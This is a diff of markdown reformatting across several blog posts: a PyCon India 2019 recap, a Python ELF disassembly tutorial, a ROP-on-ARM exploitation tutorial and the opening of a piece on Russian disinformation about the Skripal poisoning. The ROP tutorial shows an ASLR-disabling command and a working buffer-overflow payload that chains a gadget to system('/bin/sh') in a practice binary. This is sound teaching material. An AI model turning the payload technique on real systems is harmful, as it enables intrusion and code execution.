--- -date: '2019-10-15' -subtitle: 'Pretty fun weekend, I''d say' -title: 'PyCon India 2019 wrap-up' -url: 'pycon-wrap-up' +template: +title: PyCon India 2019 wrap-up +subtitle: Pretty fun weekend, I'd say +date: 2019-10-15 +url: pycon-wrap-up --- I'm writing this article as I sit in class, back on the grind. Last -weekend---Oct 12th and 13th---was PyCon India 2019, in Chennai, India. -It was my first PyCon, *and* my first ever talk at a major conference! +weekend -- Oct 12th and 13th---was PyCon India 2019, in Chennai, India. +It was my first PyCon, _and_ my first ever talk at a major conference! This is an account of the all the cool stuff I saw, people I met and the -talks I enjoyed. Forgive the lack of pictures---I prefer living the -moment through my eyes. +talks I enjoyed. +Forgive the lack of pictures -- I prefer living the moment through my +eyes. -Talks ------ +## Talks So much ML! Not that it's a bad thing, but definitely interesting to note. From what I counted, there were about 17 talks tagged under "Data@@ -21,22 +22,16 @@ Science, Machine Learning and AI". I'd have liked to see more talks
discussing security and privacy, but hey, the organizers can only pick from what's submitted. ;) -With that point out of the way, here are some of the talks I really -liked: +With that point out of the way, here are some of the talks I really liked: -- **Python Packaging - where we are and where we're headed** by - [Pradyun](https://twitter.com/pradyunsg) -- **Micropython: Building a Physical Inventory Search Engine** by - [Vinay](https://twitter.com/stonecharioteer) -- **Ragabot - Music Encoded** by - [Vikrant](https://twitter.com/vikipedia) -- **Let's Hunt a Memory Leak** by - [Sanket](https://twitter.com/sankeyplus) -- oh and of course, [David Beazley](https://twitter.com/dabeaz)'s - closing keynote +- **Python Packaging - where we are and where we're headed** by [Pradyun](https://twitter.com/pradyunsg) +- **Micropython: Building a Physical Inventory Search Engine** by [Vinay](https://twitter.com/stonecharioteer) +- **Ragabot - Music Encoded** by [Vikrant](https://twitter.com/vikipedia) +- **Let's Hunt a Memory Leak** by [Sanket](https://twitter.com/sankeyplus) +- oh and of course, [David Beazley](https://twitter.com/dabeaz)'s closing +keynote -My talk (!!!) -------------- +## My talk (!!!) My good buddy [Raghav](https://twitter.com/_vologue) and I spoke about our smart lock security research. Agreed, it might have been less@@ -44,42 +39,42 @@ "hardware" and more of a bug on the server-side, but that's the thing
about IoT right? It's so multi-faceted, and is an amalgamation of so many different hardware and software stacks. But, anyway... -I was reassured by folks after the talk that the silence during Q/A was +I was reassured by folks after the talk that the silence during Q/A was the "good" kind of silence. Was it really? I'll never know. -Some nice people I met ----------------------- +## Some nice people I met + -- [Abhirath](https://twitter.com/abhirathb)---A 200 IQ lad. Talked to - me about everything from computational biology to the physical - implementation of quantum computers. -- [Abin](https://twitter.com/meain_)---He recognized me from my - [r/unixporn](https://reddit.com/r/unixporn) posts, which was pretty - awesome. -- [Abhishek](https://twitter.com/h6165) -- Pradyun and Vikrant (linked earlier) +- [Abhirath](https://twitter.com/abhirathb) -- A 200 IQ lad. Talked to +me about everything from computational biology to the physical +implementation of quantum computers. +- [Abin](https://twitter.com/meain_) -- He recognized me from my +[r/unixporn](https://reddit.com/r/unixporn) posts, which was pretty +awesome. +- [Abhishek](https://twitter.com/h6165) +- Pradyun and Vikrant (linked earlier) And a lot of other people doing really great stuff, whose names I'm forgetting. -Pictures! ---------- +## Pictures! -It's not much, and I can't be bothered to format them like a collage or -whatever, so I'll just dump them here---as is. +It's not much, and +I can't be bothered to format them like a collage or whatever, so I'll +just dump them here -- as is. -    + + + + -C'est tout ----------- +## C'est tout Overall, a great time and a weekend well spent. It was very different -from your typical security conference---a lot more *chill*, if you will. -The organizers did a fantastic job and the entire event was put together -really well. I don't have much else to say, but I know for sure that -I'll be there next time. +from your typical security conference -- a lot more _chill_, if you +will. The organizers did a fantastic job and the entire event was put +together really well. +I don't have much else to say, but I know for sure that I'll be +there next time. That was PyCon India, 2019.
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pages/txt/python-for-re-1.txt
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pages/txt/python-for-re-1.txt
@@ -1,41 +1,31 @@
--- -date: '2019-02-08' -subtitle: 'Building your own disassembly tooling for --- that''s - right --- fun and profit' template: text.html -title: Python for Reverse Engineering -url: 'python-for-re-1' +title: Python for Reverse Engineering #1: ELF Binaries +subtitle: Building your own disassembly tooling for — that’s right — fun and profit +date: 2019-02-08 +url: python-for-re-1 --- -While solving complex reversing challenges, we often use established -tools like radare2 or IDA for disassembling and debugging. But there are -times when you need to dig in a little deeper and understand how things -work under the hood. +While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood. -Rolling your own disassembly scripts can be immensely helpful when it -comes to automating certain processes, and eventually build your own -homebrew reversing toolchain of sorts. At least, that's what I'm -attempting anyway. +Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway. -Setup ------ +## Setup -As the title suggests, you're going to need a Python 3 interpreter -before anything else. Once you've confirmed beyond reasonable doubt that -you do, in fact, have a Python 3 interpreter installed on your system, -run +As the title suggests, you’re going to need a Python 3 interpreter before +anything else. Once you’ve confirmed beyond reasonable doubt that you do, +in fact, have a Python 3 interpreter installed on your system, run -``` {.console} +```console $ pip install capstone pyelftools ``` -where `capstone` is the disassembly engine we'll be scripting with and -`pyelftools` to help parse ELF files. +where `capstone` is the disassembly engine we’ll be scripting with and `pyelftools` to help parse ELF files. -With that out of the way, let's start with an example of a basic -reversing challenge. +With that out of the way, let’s start with an example of a basic reversing +challenge. -``` {.c} +```c /* chall.c */ #include <stdio.h>@@ -61,19 +51,19 @@ }
} ``` + Compile it with GCC/Clang: -``` {.console} +```console $ gcc chall.c -o chall.elf ``` -Scripting ---------- + +## Scripting -For starters, let's look at the different sections present in the -binary. +For starters, let’s look at the different sections present in the binary. -``` {.python} +```python # sections.py from elftools.elf.elffile import ELFFile@@ -84,10 +74,10 @@ for section in e.iter_sections():
print(hex(section['sh_addr']), section.name) ``` -This script iterates through all the sections and also shows us where -it's loaded. This will be pretty useful later. Running it gives us -``` {.console} +This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us + +```console › python sections.py 0x238 .interp 0x254 .note.ABI-tag@@ -119,17 +109,12 @@ 0x0 .strtab
0x0 .shstrtab ``` -Most of these aren't relevant to us, but a few sections here are to be -noted. The `.text` section contains the instructions (opcodes) that -we're after. The `.data` section should have strings and constants -initialized at compile time. Finally, the `.plt` which is the Procedure -Linkage Table and the `.got`, the Global Offset Table. If you're unsure -about what these mean, read up on the ELF format and its internals. -Since we know that the `.text` section has the opcodes, let's -disassemble the binary starting at that address. +Most of these aren’t relevant to us, but a few sections here are to be noted. The `.text` section contains the instructions (opcodes) that we’re after. The `.data` section should have strings and constants initialized at compile time. Finally, the `.plt` which is the Procedure Linkage Table and the `.got`, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals. -``` {.python} +Since we know that the `.text` section has the opcodes, let’s disassemble the binary starting at that address. + +```python # disas1.py from elftools.elf.elffile import ELFFile@@ -145,10 +130,10 @@ for i in md.disasm(ops, addr):
print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}') ``` -The code is fairly straightforward (I think). We should be seeing this, -on running -``` {.console} +The code is fairly straightforward (I think). We should be seeing this, on running + +```console › python disas1.py | less 0x6a0: xor ebp, ebp 0x6a2: mov r9, rdx@@ -165,25 +150,15 @@ 0x6ca: hlt
... snip ... ``` -The line in bold is fairly interesting to us. The address at -`[rip + 0x200916]` is equivalent to `[0x6ca + 0x200916]`, which in turn -evaluates to `0x200fe0`. The first `call` being made to a function at -`0x200fe0`? What could this function be? -For this, we will have to look at **relocations**. Quoting -[linuxbase.org](http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html) -\> Relocation is the process of connecting symbolic references with -symbolic definitions. For example, when a program calls a function, the -associated call instruction must transfer control to the proper -destination address at execution. Relocatable files must have -"relocation entries'' which are necessary because they contain -information that describes how to modify their section contents, thus -allowing executable and shared object files to hold the right -information for a process's program image. +The line in bold is fairly interesting to us. The address at `[rip + 0x200916]` is equivalent to `[0x6ca + 0x200916]`, which in turn evaluates to `0x200fe0`. The first `call` being made to a function at `0x200fe0`? What could this function be? + +For this, we will have to look at **relocations**. Quoting [linuxbase.org](http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html) +> Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image. To try and find these relocation entries, we write a third script. -``` {.python} +```python # relocations.py import sys@@ -202,12 +177,10 @@ addr = hex(relocation['r_offset'])
print(f'{symbol.name} {addr}') ``` -Let's run through this code real quick. We first loop through the -sections, and check if it's of the type `RelocationSection`. We then -iterate through the relocations from the symbol table for each section. -Finally, running this gives us -``` {.console} +Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type `RelocationSection`. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us + +```console › python relocations.py .rela.dyn: 0x200d98@@ -227,18 +200,13 @@ strcmp 0x200fc8
malloc 0x200fd0 ``` -Remember the function call at `0x200fe0` from earlier? Yep, so that was -a call to the well known `__libc_start_main`. Again, according to -[linuxbase.org](http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib---libc-start-main-.html) -\> The `__libc_start_main()` function shall perform any necessary -initialization of the execution environment, call the *main* function -with appropriate arguments, and handle the return from `main()`. If the -`main()` function returns, the return value shall be passed to the -`exit()` function. + +Remember the function call at `0x200fe0` from earlier? Yep, so that was a call to the well known `__libc_start_main`. Again, according to [linuxbase.org](http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib -- libc-start-main-.html) +> The `__libc_start_main()` function shall perform any necessary initialization of the execution environment, call the *main* function with appropriate arguments, and handle the return from `main()`. If the `main()` function returns, the return value shall be passed to the `exit()` function. And its definition is like so -``` {.c} +```c int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void),@@ -246,106 +214,99 @@ void (*fini) (void),
void (*rtld_fini) (void), void (* stack_end)); ``` + Looking back at our disassembly - 0x6a0: xor ebp, ebp - 0x6a2: mov r9, rdx - 0x6a5: pop rsi - 0x6a6: mov rdx, rsp - 0x6a9: and rsp, 0xfffffffffffffff0 - 0x6ad: push rax - 0x6ae: push rsp - 0x6af: lea r8, [rip + 0x23a] - 0x6b6: lea rcx, [rip + 0x1c3] - **0x6bd: lea rdi, [rip + 0xe6]** - 0x6c4: call qword ptr [rip + 0x200916] - 0x6ca: hlt - ... snip ... +``` +0x6a0: xor ebp, ebp +0x6a2: mov r9, rdx +0x6a5: pop rsi +0x6a6: mov rdx, rsp +0x6a9: and rsp, 0xfffffffffffffff0 +0x6ad: push rax +0x6ae: push rsp +0x6af: lea r8, [rip + 0x23a] +0x6b6: lea rcx, [rip + 0x1c3] +**0x6bd: lea rdi, [rip + 0xe6]** +0x6c4: call qword ptr [rip + 0x200916] +0x6ca: hlt +... snip ... +``` + -but this time, at the `lea` or Load Effective Address instruction, which -loads some address `[rip + 0xe6]` into the `rdi` register. -`[rip + 0xe6]` evaluates to `0x7aa` which happens to be the address of -our `main()` function! How do I know that? Because -`__libc_start_main()`, after doing whatever it does, eventually jumps to -the function at `rdi`, which is generally the `main()` function. It -looks something like this +but this time, at the `lea` or Load Effective Address instruction, which loads some address `[rip + 0xe6]` into the `rdi` register. `[rip + 0xe6]` evaluates to `0x7aa` which happens to be the address of our `main()` function! How do I know that? Because `__libc_start_main()`, after doing whatever it does, eventually jumps to the function at `rdi`, which is generally the `main()` function. It looks something like this  -To see the disassembly of `main`, seek to `0x7aa` in the output of the -script we'd written earlier (`disas1.py`). +To see the disassembly of `main`, seek to `0x7aa` in the output of the script we’d written earlier (`disas1.py`). -From what we discovered earlier, each `call` instruction points to some -function which we can see from the relocation entries. So following each -`call` into their relocations gives us this +From what we discovered earlier, each `call` instruction points to some function which we can see from the relocation entries. So following each `call` into their relocations gives us this - printf 0x650 - fgets 0x660 - strcmp 0x670 - malloc 0x680 +``` +printf 0x650 +fgets 0x660 +strcmp 0x670 +malloc 0x680 +``` -Putting all this together, things start falling into place. Let me -highlight the key sections of the disassembly here. It's pretty -self-explanatory. + +Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory. + +``` +0x7b2: mov edi, 0xa ; 10 +0x7b7: call 0x680 ; malloc +``` - 0x7b2: mov edi, 0xa ; 10 - 0x7b7: call 0x680 ; malloc The loop to populate the `*pw` string - 0x7d0: mov eax, dword ptr [rbp - 0x14] - 0x7d3: cdqe - 0x7d5: lea rdx, [rax - 1] - 0x7d9: mov rax, qword ptr [rbp - 0x10] - 0x7dd: add rax, rdx - 0x7e0: movzx eax, byte ptr [rax] - 0x7e3: lea ecx, [rax + 1] - 0x7e6: mov eax, dword ptr [rbp - 0x14] - 0x7e9: movsxd rdx, eax - 0x7ec: mov rax, qword ptr [rbp - 0x10] - 0x7f0: add rax, rdx - 0x7f3: mov edx, ecx - 0x7f5: mov byte ptr [rax], dl - 0x7f7: add dword ptr [rbp - 0x14], 1 - 0x7fb: cmp dword ptr [rbp - 0x14], 8 - 0x7ff: jle 0x7d0 +``` +0x7d0: mov eax, dword ptr [rbp - 0x14] +0x7d3: cdqe +0x7d5: lea rdx, [rax - 1] +0x7d9: mov rax, qword ptr [rbp - 0x10] +0x7dd: add rax, rdx +0x7e0: movzx eax, byte ptr [rax] +0x7e3: lea ecx, [rax + 1] +0x7e6: mov eax, dword ptr [rbp - 0x14] +0x7e9: movsxd rdx, eax +0x7ec: mov rax, qword ptr [rbp - 0x10] +0x7f0: add rax, rdx +0x7f3: mov edx, ecx +0x7f5: mov byte ptr [rax], dl +0x7f7: add dword ptr [rbp - 0x14], 1 +0x7fb: cmp dword ptr [rbp - 0x14], 8 +0x7ff: jle 0x7d0 +``` + And this looks like our `strcmp()` - 0x843: mov rdx, qword ptr [rbp - 0x10] ; *in - 0x847: mov rax, qword ptr [rbp - 8] ; *pw - 0x84b: mov rsi, rdx - 0x84e: mov rdi, rax - 0x851: call 0x670 ; strcmp - 0x856: test eax, eax ; is = 0? - 0x858: jne 0x868 ; no? jump to 0x868 - 0x85a: lea rdi, [rip + 0xae] ; "haha yes!" - 0x861: call 0x640 ; puts - 0x866: jmp 0x874 - 0x868: lea rdi, [rip + 0xaa] ; "nah dude" - 0x86f: call 0x640 ; puts +``` +0x843: mov rdx, qword ptr [rbp - 0x10] ; *in +0x847: mov rax, qword ptr [rbp - 8] ; *pw +0x84b: mov rsi, rdx +0x84e: mov rdi, rax +0x851: call 0x670 ; strcmp +0x856: test eax, eax ; is = 0? +0x858: jne 0x868 ; no? jump to 0x868 +0x85a: lea rdi, [rip + 0xae] ; "haha yes!" +0x861: call 0x640 ; puts +0x866: jmp 0x874 +0x868: lea rdi, [rip + 0xaa] ; "nah dude" +0x86f: call 0x640 ; puts +``` + -I'm not sure why it uses `puts` here? I might be missing something; -perhaps `printf` calls `puts`. I could be wrong. I also confirmed with -radare2 that those locations are actually the strings "haha yes!" and -"nah dude". +I’m not sure why it uses `puts` here? I might be missing something; perhaps `printf` calls `puts`. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”. -**Update**: It's because of compiler optimization. A `printf()` (in this -case) is seen as a bit overkill, and hence gets simplified to a -`puts()`. +**Update**: It's because of compiler optimization. A `printf()` (in this case) is seen as a bit overkill, and hence gets simplified to a `puts()`. -Conclusion ----------- +## Conclusion -Wew, that took quite some time. But we're done. If you're a beginner, -you might find this extremely confusing, or probably didn't even -understand what was going on. And that's okay. Building an intuition for -reading and grokking disassembly comes with practice. I'm no good at it -either. +Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either. -All the code used in this post is here: -<https://github.com/icyphox/asdf/tree/master/reversing-elf> +All the code used in this post is here: [https://github.com/icyphox/asdf/tree/master/reversing-elf](https://github.com/icyphox/asdf/tree/master/reversing-elf) -Ciao for now, and I'll see ya in \#2 of this series---PE binaries. -Whenever that is. +Ciao for now, and I’ll see ya in #2 of this series -- PE binaries. Whenever that is.
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pages/txt/rop-on-arm.txt
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pages/txt/rop-on-arm.txt
@@ -1,93 +1,80 @@
--- -date: '2019-06-06' -subtitle: 'Making stack-based exploitation great again!' template: text.html -title: 'Return Oriented Programming on ARM (32-bit)' -url: 'rop-on-arm' +title: Return Oriented Programming on ARM (32-bit) +subtitle: Making stack-based exploitation great again! +date: 2019-06-06 +url: rop-on-arm --- -Before we start *anything*, you're expected to know the basics of ARM +Before we start _anything_, you’re expected to know the basics of ARM assembly to follow along. I highly recommend -[Azeria's](https://twitter.com/fox0x01) series on [ARM Assembly -Basics](https://azeria-labs.com/writing-arm-assembly-part-1/). Once -you're comfortable with it, proceed with the next bit---environment -setup. +[Azeria’s](https://twitter.com/fox0x01) series on [ARM Assembly +Basics](https://azeria-labs.com/writing-arm-assembly-part-1/). Once you’re +comfortable with it, proceed with the next bit -- environment setup. -Setup ------ +## Setup -Since we're working with the ARM architecture, there are two options to -go forth with: +Since we’re working with the ARM architecture, there are two options to go +forth with: -1. Emulate---head over to - [qemu.org/download](https://www.qemu.org/download/) and install - QEMU. And then download and extract the ARMv6 Debian Stretch image - from one of the links [here](https://blahcat.github.io/qemu/). The - scripts found inside should be self-explanatory. -2. Use actual ARM hardware, like an RPi. +1. Emulate -- head over to [qemu.org/download](https://www.qemu.org/download/) and install QEMU. +And then download and extract the ARMv6 Debian Stretch image from one of the links [here](https://blahcat.github.io/qemu/). +The scripts found inside should be self-explanatory. +2. Use actual ARM hardware, like an RPi. -For debugging and disassembling, we'll be using plain old `gdb`, but you +For debugging and disassembling, we’ll be using plain old `gdb`, but you may use `radare2`, IDA or anything else, really. All of which can be trivially installed. And for the sake of simplicity, disable ASLR: -``` {.shell} +```shell $ echo 0 > /proc/sys/kernel/randomize_va_space ``` -Finally, the binary we'll be using in this exercise is [Billy -Ellis'](https://twitter.com/bellis1000) -[roplevel2](/static/files/roplevel2.c). +Finally, the binary we’ll be using in this exercise is [Billy Ellis’](https://twitter.com/bellis1000) +[roplevel2](/static/files/roplevel2.c). Compile it: - -``` {.sh} +```sh $ gcc roplevel2.c -o rop2 ``` -With that out of the way, here's a quick run down of what ROP actually -is. +With that out of the way, here’s a quick run down of what ROP actually is. -A primer on ROP ---------------- +## A primer on ROP -ROP or Return Oriented Programming is a modern exploitation technique -that's used to bypass protections like the **NX bit** (no-execute bit) -and **code sigining**. In essence, no code in the binary is actually -modified and the entire exploit is crafted out of pre-existing artifacts -within the binary, known as **gadgets**. +ROP or Return Oriented Programming is a modern exploitation technique that’s +used to bypass protections like the **NX bit** (no-execute bit) and **code sigining**. +In essence, no code in the binary is actually modified and the entire exploit +is crafted out of pre-existing artifacts within the binary, known as **gadgets**. -A gadget is essentially a small sequence of code (instructions), ending -with a `ret`, or a return instruction. In our case, since we're dealing -with ARM code, there is no `ret` instruction but rather a `pop {pc}` or -a `bx lr`. These gadgets are *chained* together by jumping (returning) -from one onto the other to form what's called as a **ropchain**. At the -end of a ropchain, there's generally a call to `system()`, to acheive -code execution. +A gadget is essentially a small sequence of code (instructions), ending with +a `ret`, or a return instruction. In our case, since we’re dealing with ARM +code, there is no `ret` instruction but rather a `pop {pc}` or a `bx lr`. +These gadgets are _chained_ together by jumping (returning) from one onto the other +to form what’s called as a **ropchain**. At the end of a ropchain, +there’s generally a call to `system()`, to acheive code execution. In practice, the process of executing a ropchain is something like this: -- confirm the existence of a stack-based buffer overflow -- identify the offset at which the instruction pointer gets - overwritten -- locate the addresses of the gadgets you wish to use -- craft your input keeping in mind the stack's layout, and chain the - addresses of your gadgets +- confirm the existence of a stack-based buffer overflow +- identify the offset at which the instruction pointer gets overwritten +- locate the addresses of the gadgets you wish to use +- craft your input keeping in mind the stack’s layout, and chain the addresses +of your gadgets -[LiveOverflow](https://twitter.com/LiveOverflow) has a [beautiful -video](https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s) -where he explains ROP using "weird machines". Check it out, it might be -just what you needed for that "aha!" moment :) +[LiveOverflow](https://twitter.com/LiveOverflow) has a [beautiful video](https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s) where he explains ROP using “weird machines”. +Check it out, it might be just what you needed for that “aha!” moment :) -Still don't get it? Don't fret, we'll look at *actual* exploit code in a -bit and hopefully that should put things into perspective. +Still don’t get it? Don’t fret, we’ll look at _actual_ exploit code in a bit and hopefully +that should put things into perspective. -Exploring our binary --------------------- +## Exploring our binary -Start by running it, and entering any arbitrary string. On entering a -fairly large string, say, "A" × 20, we see a segmentation fault occur. +Start by running it, and entering any arbitrary string. On entering a fairly +large string, say, “A” × 20, we +see a segmentation fault occur. @@ -95,115 +82,111 @@ Now, open it up in `gdb` and look at the functions inside it.
 -There are three functions that are of importance here, `main`, `winner` -and `gadget`. Disassembling the `main` function: +There are three functions that are of importance here, `main`, `winner` and +`gadget`. Disassembling the `main` function:  -We see a buffer of 16 bytes being created (`sub sp, sp, #16`), and some -calls to `puts()`/`printf()` and `scanf()`. Looks like `winner` and -`gadget` are never actually called. +We see a buffer of 16 bytes being created (`sub sp, sp, #16`), and some calls +to `puts()`/`printf()` and `scanf()`. Looks like `winner` and `gadget` are +never actually called. Disassembling the `gadget` function:  -This is fairly simple, the stack is being initialized by `push`ing -`{r11}`, which is also the frame pointer (`fp`). What's interesting is -the `pop {r0, pc}` instruction in the middle. This is a **gadget**. +This is fairly simple, the stack is being initialized by `push`ing `{r11}`, +which is also the frame pointer (`fp`). What’s interesting is the `pop {r0, pc}` +instruction in the middle. This is a **gadget**. -We can use this to control what goes into `r0` and `pc`. Unlike in x86 -where arguments to functions are passed on the stack, in ARM the -registers `r0` to `r3` are used for this. So this gadget effectively -allows us to pass arguments to functions using `r0`, and subsequently -jumping to them by passing its address in `pc`. Neat. +We can use this to control what goes into `r0` and `pc`. Unlike in x86 where +arguments to functions are passed on the stack, in ARM the registers `r0` to `r3` +are used for this. So this gadget effectively allows us to pass arguments to +functions using `r0`, and subsequently jumping to them by passing its address +in `pc`. Neat. Moving on to the disassembly of the `winner` function:  -Here, we see a calls to `puts()`, `system()` and finally, `exit()`. So -our end goal here is to, quite obviously, execute code via the -`system()` function. +Here, we see a calls to `puts()`, `system()` and finally, `exit()`. +So our end goal here is to, quite obviously, execute code via the `system()` +function. -Now that we have an overview of what's in the binary, let's formulate a -method of exploitation by messing around with inputs. +Now that we have an overview of what’s in the binary, let’s formulate a method +of exploitation by messing around with inputs. -Messing around with inputs :\^) -------------------------------- +## Messing around with inputs :^) Back to `gdb`, hit `r` to run and pass in a patterned input, like in the screenshot.  -We hit a segfault because of invalid memory at address `0x46464646`. -Notice the `pc` has been overwritten with our input. So we smashed the -stack alright, but more importantly, it's at the letter 'F'. +We hit a segfault because of invalid memory at address `0x46464646`. Notice +the `pc` has been overwritten with our input. +So we smashed the stack alright, but more importantly, it’s at the letter ‘F’. Since we know the offset at which the `pc` gets overwritten, we can now -control program execution flow. Let's try jumping to the `winner` -function. +control program execution flow. Let’s try jumping to the `winner` function. Disassemble `winner` again using `disas winner` and note down the offset -of the second instruction---`add r11, sp, #4`. For this, we'll use -Python to print our input string replacing `FFFF` with the address of -`winner`. Note the endianness. +of the second instruction -- `add r11, sp, #4`. +For this, we’ll use Python to print our input string replacing `FFFF` with +the address of `winner`. Note the endianness. -``` {.shell} +```shell $ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2 ```  -The reason we don't jump to the first instruction is because we want to -control the stack ourselves. If we allow `push {rll, lr}` (first -instruction) to occur, the program will `pop` those out after `winner` -is done executing and we will no longer control where it jumps to. +The reason we don’t jump to the first instruction is because we want to control the stack +ourselves. If we allow `push {rll, lr}` (first instruction) to occur, the program will `pop` +those out after `winner` is done executing and we will no longer control +where it jumps to. -So that didn't do much, just prints out a string "Nothing much here...". -But it *does* however, contain `system()`. Which somehow needs to be -populated with an argument to do what we want (run a command, execute a -shell, etc.). +So that didn’t do much, just prints out a string “Nothing much here...”. +But it _does_ however, contain `system()`. Which somehow needs to be populated with an argument +to do what we want (run a command, execute a shell, etc.). -To do that, we'll follow a multi-step process: +To do that, we’ll follow a multi-step process: -1. Jump to the address of `gadget`, again the 2nd instruction. This - will `pop` `r0` and `pc`. -2. Push our command to be executed, say "`/bin/sh`" onto the stack. - This will go into `r0`. -3. Then, push the address of `system()`. And this will go into `pc`. +1. Jump to the address of `gadget`, again the 2nd instruction. This will `pop` `r0` and `pc`. +2. Push our command to be executed, say “`/bin/sh`” onto the stack. This will go into +`r0`. +3. Then, push the address of `system()`. And this will go into `pc`. The pseudo-code is something like this: +``` +string = AAAABBBBCCCCDDDDEEEE +gadget = # addr of gadget +binsh = # addr of /bin/sh +system = # addr of system() - string = AAAABBBBCCCCDDDDEEEE - gadget = # addr of gadget - binsh = # addr of /bin/sh - system = # addr of system() +print(string + gadget + binsh + system) +``` +Clean and mean. - print(string + gadget + binsh + system) -Clean and mean. +## The exploit -The exploit ------------ +To write the exploit, we’ll use Python and the absolute godsend of a library -- `struct`. +It allows us to pack the bytes of addresses to the endianness of our choice. +It probably does a lot more, but who cares. -To write the exploit, we'll use Python and the absolute godsend of a -library---`struct`. It allows us to pack the bytes of addresses to the -endianness of our choice. It probably does a lot more, but who cares. +Let’s start by fetching the address of `/bin/sh`. In `gdb`, set a breakpoint +at `main`, hit `r` to run, and search the entire address space for the string “`/bin/sh`”: -Let's start by fetching the address of `/bin/sh`. In `gdb`, set a -breakpoint at `main`, hit `r` to run, and search the entire address -space for the string "`/bin/sh`": - (gdb) find &system, +9999999, "/bin/sh" - +``` +(gdb) find &system, +9999999, "/bin/sh" +```  One hit at `0xb6f85588`. The addresses of `gadget` and `system()` can be -found from the disassmblies from earlier. Here's the final exploit code: - -``` {.python} +found from the disassmblies from earlier. Here’s the final exploit code: +```python import struct binsh = struct.pack("I", 0xb6f85588)@@ -212,25 +195,23 @@ gadget = struct.pack("I", 0x00010550)
system = struct.pack("I", 0x00010538) print(string + gadget + binsh + system) -``` +``` Honestly, not too far off from our pseudo-code :) -Let's see it in action: +Let’s see it in action:  -Notice that it doesn't work the first time, and this is because -`/bin/sh` terminates when the pipe closes, since there's no input coming -in from STDIN. To get around this, we use `cat(1)` which allows us to -relay input through it to the shell. Nifty trick. +Notice that it doesn’t work the first time, and this is because `/bin/sh` terminates +when the pipe closes, since there’s no input coming in from STDIN. +To get around this, we use `cat(1)` which allows us to relay input through it +to the shell. Nifty trick. -Conclusion ----------- +## Conclusion -This was a fairly basic challenge, with everything laid out -conveniently. Actual ropchaining is a little more involved, with a lot -more gadgets to be chained to acheive code execution. +This was a fairly basic challenge, with everything laid out conveniently. +Actual ropchaining is a little more involved, with a lot more gadgets to be chained +to acheive code execution. -Hopefully, I'll get around to writing about heap exploitation on ARM -too. That's all for now. +Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.
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pages/txt/ru-vs-gb.txt
→
pages/txt/ru-vs-gb.txt
@@ -1,28 +1,37 @@
+--- +template: +title: Disinfo war: RU vs GB +subtitle: A look at Russian info ops against Britain +date: 2019-12-12 +url: ru-vs-gb +--- + This entire sequence of events begins with the attempted poisoning of -Sergei Skripal[^1], an ex-GRU officer who was a double-agent for the -UK's intelligence services. This hit attempt happened on the 4th of +Sergei Skripal[^skripal], an ex-GRU officer who was a double-agent for +the UK's intelligence services. This hit attempt happened on the 4th of March, 2018. 8 days later, then-Prime Minister Theresa May formally accused Russia for the attack. -The toxin used in the poisoning was a nerve agent called *Novichok*. In -addition to the British military-research facility at Porton Down, a -small number of labs around the world were tasked with confirming Porton -Down's conclusions on the toxin that was used, by the OPCW (Organisation -for the Prohibition of Chemical Weapons). +[^skripal]: https://en.wikipedia.org/wiki/Sergei_Skripal + +The toxin used in the poisoning was a nerve agent called _Novichok_. +In addition to the British military-research facility at Porton Down, +a small number of labs around the world were tasked with confirming +Porton Down's conclusions on the toxin that was used, by the OPCW +(Organisation for the Prohibition of Chemical Weapons). With the background on the matter out of the way, here are the different instances of well timed disinformation pushed out by Moscow. -The Russian offense -------------------- +## The Russian offense ### April 14, 2018 -- RT published an article claiming that Spiez had identified a - different toxin---BZ, and not Novichok. -- This was an attempt to shift the blame from Russia (origin of - Novichok), to NATO countries, where it was apparently in use. -- Most viral piece on the matter in all of 2018. +- RT published an article claiming that Spiez had identified a different +toxin -- BZ, and not Novichok. +- This was an attempt to shift the blame from Russia (origin of Novichok), +to NATO countries, where it was apparently in use. +- Most viral piece on the matter in all of 2018. Although technically correct, this isn't the entire truth. As part of protocol, the OPCW added a new substance to the sample as a test. If any@@ -31,99 +40,97 @@ deemed untrustworthy. This toxin was a derivative of BZ.
